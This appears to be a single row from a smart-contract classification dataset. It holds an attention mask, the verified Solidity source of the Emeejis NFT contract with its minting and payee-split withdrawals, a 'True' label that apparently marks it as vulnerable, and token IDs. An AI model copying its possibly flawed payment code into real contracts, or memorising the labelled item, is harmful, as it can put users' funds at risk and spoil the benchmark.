1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
Fully commented standard ERC721 Distilled from OpenZeppelin Docs
Base for Building ERC721 by offgridgecko
Optimized and outfitted with the custom features our customers demand.
Notes @dev from offgridgecko:
-----------------------------
Scroll to the bottom of the contract and update contractURI() for OpenSea
Metadata collection json.
Update tokenURI() with the proper naming convention for the collection
Change the last line of supportsInterface() to reflect the contract name
Emeejis Notes:
--------------
set tokenURI and contractURI as per emeejis standards, utilizing _baseURI if possible
*/
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
//@dev Emitted when `tokenId` token is transferred from `from` to `to`.
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
//@dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
//@dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
//@dev Returns the number of tokens in ``owner``'s account.
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from,address to,uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
//@dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
//@dev Returns the token collection name.
function name() external view returns (string memory);
//@dev Returns the token collection symbol.
function symbol() external view returns (string memory);
//@dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// ******************************************************************************************************************************
// ************************************************** Start of Main Contract ***************************************************
// ******************************************************************************************************************************
contract Emeejis is IERC721, Ownable {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// URI Root Location for Json Files
string private _baseURI;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
//Contract Specific Variables and Mappings
uint256 public maximumTokens; //The total number of NFTs to be minted
uint256 private _reserveTokens; //Number of tokens reserved for Owner Distribution
uint256 public tokenPrice; //Current Sales Price from Contract
uint256 public purchaseLimit; //Maximum mints per transaction
uint256 public numberMinted; //Total minted so far
//Map user address to payout percentage
mapping(address => uint256) private percPayout;
mapping(address => uint256) private payoutAmount;
address[] private payees;
bool reentrancyLock; //lockdown fucntions to prevent reentrant attacks
bool orderLock; //Lockup the mint function when not in use
constructor() {
_name = "Emeejis";
_symbol = "EMG";
_baseURI = "https://emeejis.com/metadata.php?tokenID=";
tokenPrice = 35 * 10 ** 15; // 35 finney or 0.035 ETH
maximumTokens = 6666;
_reserveTokens = 200;
purchaseLimit = 20;
orderLock = true;
payees.push(0xD15e7ab216AdDB92Bd95d96cb5D0F3f43719C679); //Jovan
payees.push(0x7B2a2e3813b7906C4E6573C80Ff73824AB69a4f9); //Korvis
payees.push(0x72b5216bd6Ee23a6FfC50340263dc9f8606DFe49); //Chief
payees.push(0xC7f02456dD3FC26aAE2CA1d68528CF9764bf5598); //Squeebo
payees.push(0x2496286BDB820d40C402802F828ae265b244188A); //OGG
payees.push(0xD0A1258f1cf379CB798Eea6776D9855F0B02F49B); //Community
payees.push(0x3B4B9283E1049E504e7E76e0A5e5E05630c9Ccd2); //Charities
percPayout[payees[0]] = 20; //Jovan
percPayout[payees[1]] = 40; //Korvis
percPayout[payees[2]] = 5; //Chief
percPayout[payees[3]] = 5; //Squeebo
percPayout[payees[4]] = 5; //OGG
percPayout[payees[5]] = 10; //community
percPayout[payees[6]] = 15; //charities
}
function orderEmeejis(uint256 orderSize) public payable {
require(msg.value >= orderSize * tokenPrice, "orderEmeejis: Insufficient Funds");
require(orderSize <= purchaseLimit, "orderEmeejis: Order Size too big");
require(orderSize < maximumTokens - _reserveTokens - numberMinted, "orderEmeejis: Not enough NFTs remaining to fill order");
require(!orderLock, "currently closed for business");
require(!reentrancyLock); //Lock up this whole function just in case
reentrancyLock = true;
uint256 mintSeedValue = numberMinted; //Store the starting value of the mint batch
numberMinted += orderSize;
//Handle ETH transactions
uint256 cashIn = msg.value;
uint256 cashChange = cashIn - (orderSize * tokenPrice);
//assign approvals for payouts
approvePayouts(cashIn);
//send tokens
for(uint256 i = 0; i < orderSize; i++) {
_safeMint(msg.sender, mintSeedValue + i);
}
if (cashChange > 0){
(bool success, bytes memory data) = msg.sender.call{value: cashChange}("");
require(success, "orderEmeejis: unable to send change to user");
}
reentrancyLock = false;
}
function giveawayEmeeji(address _to, uint256 numberToMint) public onlyOwner {
require(_to != address(0), "giveawayEmeeji: Cannot Send to 0 address");
require(numberToMint < maximumTokens - numberMinted, "giveawayEmeeji: Not enough Emeejis remaining");
uint256 currentToken = numberMinted;
for (uint256 i; i < numberToMint; i++) {
numberMinted++;
if (_reserveTokens > 0) {
_reserveTokens --;
}
_safeMint(_to, currentToken + i);
}
}
function checkMyWallet() view external returns (uint256) {
//allows approved team members to check their current payout amount
return payoutAmount[_msgSender()];
}
function checkWallet(address checkAddress) view external onlyOwner returns(uint256) {
//Checks for funds available to a specific address
//OwnerOnly for now, mostly for testing purposes
return payoutAmount[checkAddress];
}
function approvePayouts(uint256 purchaseAmount) internal {
//transaction totals sent here to assign approvals to each account on file
for (uint256 i; i < payees.length; i++){
payoutAmount[payees[i]] += (purchaseAmount * percPayout[payees[i]]) / 100;
}
}
function withdraw() external {
//payout approved amount to sender.
uint256 payout = payoutAmount[_msgSender()];
payoutAmount[_msgSender()] = 0;
(bool success, bytes memory data) = msg.sender.call{value: payout}("");
require(success, "Withdraw: Could not transact funds");
}
// ************************************ Setters and Getters
function lockOrders() external onlyOwner {
orderLock = true;
}
function unlockOrders() external onlyOwner {
orderLock = false;
}
function setTokenPrice(uint256 amount) public onlyOwner {
tokenPrice = amount;
}
function setPurchaseLimit(uint256 amount) public onlyOwner {
purchaseLimit = amount;
}
function setBaseURI(string memory uri_) public onlyOwner {
_baseURI = uri_;
}
function setReserveTokens(uint amount) public onlyOwner {
_reserveTokens = amount;
}
function setTotalTokens(uint256 numTokens) public onlyOwner {
maximumTokens = numTokens;
}
function tokensRemaining() public view returns (uint256) {
return maximumTokens - numberMinted;
}
function checkOrderLock() public view returns (bool) {
return orderLock;
}
function checkReserves() public view returns (uint256) {
return _reserveTokens;
}
// ***********************************************************************************************************************
// ********************************************** ERC721 Standard Calls ************************************************
// ***********************************************************************************************************************
//@dev See {IERC165-supportsInterface}. Interfaces Supported by this Standard
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC165).interfaceId ||
interfaceId == Emeejis.onERC721Received.selector;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
// A standardized externally accessable burn function for coin owners
function burn(uint256 tokenId) external virtual {
require(_msgSender() == _owners[tokenId]);
_burn(tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
// *********************** ERC721 Token Receiver **********************
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4) {
//InterfaceID=0x150b7a02
//return "0x150b7a02";
return this.onERC721Received.selector;
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
// **************************************** Metadata Standard Functions **********
//@dev Returns the token collection name.
function name() external view returns (string memory) {
return _name;
}
//@dev Returns the token collection symbol.
function symbol() external view returns (string memory) {
return _symbol;
}
//@dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
function tokenURI(uint256 tokenId) external view returns (string memory) { //Fill out file location here later
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
//221 -> Emeeji221.json
return string(abi.encodePacked(_baseURI, tokenId.toString(), ".json"));
}
// *******************************************************************************
receive() external payable {
approvePayouts(msg.value);
}
fallback() external payable {
approvePayouts(msg.value);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2322,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
3929,
7034,
3115,
9413,
2278,
2581,
17465,
4487,
16643,
11001,
2013,
2330,
4371,
27877,
2378,
9986,
2015,
2918,
2005,
2311,
9413,
2278,
2581,
17465,
2011,
2125,
16523,
13623,
19665,
23569,
27605,
5422,
1998,
11018,
3064,
2007,
1996,
7661,
2838,
2256,
6304,
5157,
1012,
3964,
1030,
16475,
2013,
2125,
16523,
13623,
19665,
1024,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
17186,
2000,
1996,
3953,
1997,
1996,
3206,
1998,
10651,
3206,
9496,
1006,
1007,
2005,
7480,
5243,
27425,
3074,
1046,
3385,
1012,
10651,
19204,
9496,
1006,
1007,
2007,
1996,
5372,
10324,
4680,
2005,
1996,
3074,
2689,
1996,
2197,
2240,
1997,
6753,
18447,
2121,
12172,
1006,
1007,
2000,
8339,
1996,
3206,
2171,
7861,
4402,
4478,
2015,
3964,
1024,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
2275,
19204,
9496,
1998,
3206,
9496,
2004,
2566,
7861,
4402,
4478,
2015,
4781,
1010,
16911,
1035,
2918,
9496,
2065,
2825,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1013,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1013,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1013,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1013,
1030,
16475,
5651,
1996,
2193,
1997,
19204,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3954,
1997,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
1036,
19204,
3593,
1036,
2442,
4839,
1012,
1008,
1013,
3853,
3954,
11253,
1006,
21318,
3372,
17788,
2575,
19204,
3593,
1007,
6327,
3193,
5651,
1006,
4769,
3954,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
9689,
15210,
1036,
19204,
3593,
1036,
19204,
2013,
1036,
2013,
1036,
2000,
1036,
